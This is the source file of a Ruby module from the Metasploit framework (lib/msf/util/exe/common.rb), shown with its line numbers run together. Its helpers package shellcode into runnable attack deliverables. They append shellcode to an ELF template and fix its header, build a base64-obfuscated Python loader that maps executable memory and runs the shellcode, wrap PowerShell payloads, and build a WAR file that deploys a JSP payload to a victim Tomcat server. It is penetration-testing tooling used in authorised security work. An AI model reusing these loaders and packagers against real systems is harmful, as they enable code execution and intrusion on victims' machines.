Path: blob/master/lib/msf/util/exe/common.rb
57467 views
# -*- coding: binary -*-1module Msf::Util::EXE::Common2require 'rex'3require 'rex/peparsey'4require 'rex/pescan'5require 'rex/random_identifier'6require 'rex/zip'7require 'rex/powershell'8require 'metasm'9require 'digest/sha1'1011def self.included(base)12base.extend(ClassMethods)13end1415module ClassMethods16# Generates a ZIP file.17#18# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:19# * :data - The content of the file.20# * :fname - The file path in the ZIP file21# * :comment - A comment22# @example Compressing two files, one in a folder called 'test'23# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])24# @return [String]25def to_zip(files)26zip = Rex::Zip::Archive.new2728files.each do |f|29data = f[:data]30fname = f[:fname]31comment = f[:comment] || ''32zip.add_file(fname, data, comment)33end3435zip.pack36end3738# Generates a default template39#40# @param opts [Hash] The options hash41# @option opts [String] :template, the template type for the executable42# @option opts [String] :template_path, the path for the template43# @option opts [Bool] :fallback, If there are no options set, default options will be used44# @param exe [String] Template type. If undefined, will use the default.45# @param path [String] Where you would like the template to be saved.46def set_template_default(opts, exe = nil, path = nil)47# If no path specified, use the default one48path ||= File.join(Msf::Config.data_directory, "templates")4950# If there's no default name, we must blow it up.51unless exe52raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +53'without default exe name!'54end5556# Use defaults only if nothing is specified57opts[:template_path] ||= path58opts[:template] ||= exe5960# Only use the path when the filename contains no separators.61unless opts[:template].include?(File::SEPARATOR)62opts[:template] = File.join(opts[:template_path], opts[:template])63end6465# Check if it exists now66return if File.file?(opts[:template])67# If it failed, try the default...68if opts[:fallback]69default_template = File.join(path, exe)70if File.file?(default_template)71# Perhaps we should warn about falling back to the default?72opts.merge!({ :fellback => default_template })73opts[:template] = default_template74end75end76end7778# read_replace_script_template79#80# @param filename [String] Name of the file81# @param hash_sub [Hash]82def read_replace_script_template(filename, hash_sub)83template_pathname = File.join(Msf::Config.data_directory, "templates",84"scripts", filename)85template = ''86File.open(template_pathname, "rb") {|f| template = f.read}87template % hash_sub88end8990# get_file_contents91#92# @param perms [String]93# @param file [String]94# @return [String]95def get_file_contents(file, perms = "rb")96contents = ''97File.open(file, perms) {|fd| contents = fd.read(fd.stat.size)}98contents99end100101# find_payload_tag102#103# @param mo [String]104# @param err_msg [String]105# @raise [RuntimeError] if the "PAYLOAD:" is not found106# @return [Integer]107def find_payload_tag(mo, err_msg)108bo = mo.index('PAYLOAD:')109unless bo110raise RuntimeError, err_msg111end112bo113end114115def elf?(code)116code[0..3] == "\x7FELF"117end118119def macho?(code)120magic = code&.byteslice(0, 4)121magic == "\xCF\xFA\xED\xFE".b || magic == "\xCE\xFA\xED\xFE".b || magic == "\xCA\xFE\xBA\xBE".b122end123124# Create an ELF executable containing the payload provided in +code+125#126# For the default template, this method just appends the payload, checks if127# the template is 32 or 64 bit and adjusts the offsets accordingly128# For user-provided templates, modifies the header to mark all executable129# segments as writable and overwrites the entrypoint (usually _start) with130# the payload.131# @param framework [Msf::Framework] The framework of you want to use132# @param opts [Hash]133# @option [String] :template134# @param template [String]135# @param code [String]136# @param big_endian [Boolean] Set to "false" by default137# @return [String]138def to_exe_elf(framework, opts, template, code, big_endian=false)139if elf? code140return code141end142143# Allow the user to specify their own template144set_template_default(opts, template)145146# The old way to do it is like other formats, just overwrite a big147# block of rwx mem with our shellcode.148#bo = elf.index( "\x90\x90\x90\x90" * 1024 )149#co = elf.index( " " * 512 )150#elf[bo, 2048] = [code].pack('a2048') if bo151152# The new template is just an ELF header with its entry point set to153# the end of the file, so just append shellcode to it and fixup154# p_filesz and p_memsz in the header for a working ELF executable.155elf = get_file_contents(opts[:template])156elf << code157158# Check EI_CLASS to determine if the header is 32 or 64 bit159# Use the proper offsets and pack size160case elf[4,1].unpack("C").first161when 1 # ELFCLASS32 - 32 bit (ruby 1.9+)162if big_endian163elf[0x44,4] = [elf.length].pack('N') #p_filesz164elf[0x48,4] = [elf.length + code.length].pack('N') #p_memsz165else # little endian166elf[0x44,4] = [elf.length].pack('V') #p_filesz167elf[0x48,4] = [elf.length + code.length].pack('V') #p_memsz168end169when 2 # ELFCLASS64 - 64 bit (ruby 1.9+)170if big_endian171elf[0x60,8] = [elf.length].pack('Q>') #p_filesz172elf[0x68,8] = [elf.length + code.length].pack('Q>') #p_memsz173else # little endian174elf[0x60,8] = [elf.length].pack('Q<') #p_filesz175elf[0x68,8] = [elf.length + code.length].pack('Q<') #p_memsz176end177else178raise RuntimeError, "Invalid ELF template: EI_CLASS value not supported"179end180181elf182end183184def to_python_reflection(framework, arch, code, exeopts)185unless [ ARCH_X86, ARCH_X64, ARCH_AARCH64, ARCH_ARMLE, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_PPC ].include? arch186raise "Msf::Util::EXE.to_python_reflection is not compatible with #{arch}"187end188189python_code = <<~PYTHON190#{Rex::Text.to_python(code)}191import ctypes,os192if os.name == 'nt':193cbuf = (ctypes.c_char * len(buf)).from_buffer_copy(buf)194ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p195ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_long(0),ctypes.c_long(len(buf)),ctypes.c_int(0x3000),ctypes.c_int(0x40))196ctypes.windll.kernel32.RtlMoveMemory.argtypes = [ctypes.c_void_p,ctypes.c_void_p,ctypes.c_int]197ctypes.windll.kernel32.RtlMoveMemory(ptr,cbuf,ctypes.c_int(len(buf)))198ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()199else:200import mmap201from ctypes.util import find_library202c = ctypes.CDLL(find_library('c'))203c.mmap.restype = ctypes.c_void_p204ptr = c.mmap(0,len(buf),mmap.PROT_READ|mmap.PROT_WRITE,mmap.MAP_ANONYMOUS|mmap.MAP_PRIVATE,-1,0)205ctypes.memmove(ptr,buf,len(buf))206c.mprotect.argtypes = [ctypes.c_void_p,ctypes.c_int,ctypes.c_int]207c.mprotect(ptr,len(buf),mmap.PROT_READ|mmap.PROT_EXEC)208ctypes.CFUNCTYPE(ctypes.c_int)(ptr)()209PYTHON210211"exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{Rex::Text.encode_base64(python_code)}')[0]))"212end213214def to_win32pe_psh_msil(framework, code, opts = {})215Rex::Powershell::Payload.to_win32pe_psh_msil(Rex::Powershell::Templates::TEMPLATE_DIR, code)216end217218def to_win32pe_psh_rc4(framework, code, opts = {})219# unlike other to_win32pe_psh_* methods, this expects powershell code, not asm220# this method should be called after other to_win32pe_psh_* methods to wrap the output221Rex::Powershell::Payload.to_win32pe_psh_rc4(Rex::Powershell::Templates::TEMPLATE_DIR, code)222end223224# Creates a Web Archive (WAR) file from the provided jsp code.225#226# On Tomcat, WAR files will be deployed into a directory with the same name227# as the archive, e.g. +foo.war+ will be extracted into +foo/+. If the228# server is in a default configuration, deoployment will happen229# automatically. See230# {http://tomcat.apache.org/tomcat-5.5-doc/config/host.html the Tomcat231# documentation} for a description of how this works.232#233# @param jsp_raw [String] JSP code to be added in a file called +jsp_name+234# in the archive. This will be compiled by the victim servlet container235# (e.g., Tomcat) and act as the main function for the servlet.236# @param opts [Hash]237# @option opts :jsp_name [String] Name of the <jsp-file> in the archive238# _without the .jsp extension_. Defaults to random.239# @option opts :app_name [String] Name of the app to put in the <servlet-name>240# tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to241# random.242# @option opts :extra_files [Array<String,String>] Additional files to add243# to the archive. First element is filename, second is data244#245# @todo Refactor to return a {Rex::Zip::Archive} or {Rex::Zip::Jar}246#247# @return [String]248def to_war(jsp_raw, opts = {})249jsp_name = opts[:jsp_name]250jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))251app_name = opts[:app_name]252app_name ||= Rex::Text.rand_text_alpha_lower(rand(8..15))253254meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')255manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"256web_xml = %q{<?xml version="1.0"?>257<!DOCTYPE web-app PUBLIC258"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"259"http://java.sun.com/dtd/web-app_2_3.dtd">260<web-app>261<servlet>262<servlet-name>NAME</servlet-name>263<jsp-file>/PAYLOAD.jsp</jsp-file>264</servlet>265</web-app>266}267web_xml.gsub!('NAME', app_name)268web_xml.gsub!('PAYLOAD', jsp_name)269270zip = Rex::Zip::Archive.new271zip.add_file('META-INF/', '', meta_inf)272zip.add_file('META-INF/MANIFEST.MF', manifest)273zip.add_file('WEB-INF/', '')274zip.add_file('WEB-INF/web.xml', web_xml)275# add the payload276zip.add_file("#{jsp_name}.jsp", jsp_raw)277278# add extra files279if opts[:extra_files]280opts[:extra_files].each { |el| zip.add_file(el[0], el[1]) }281end282283zip.pack284end285end286287class << self288include ClassMethods289end290end291292293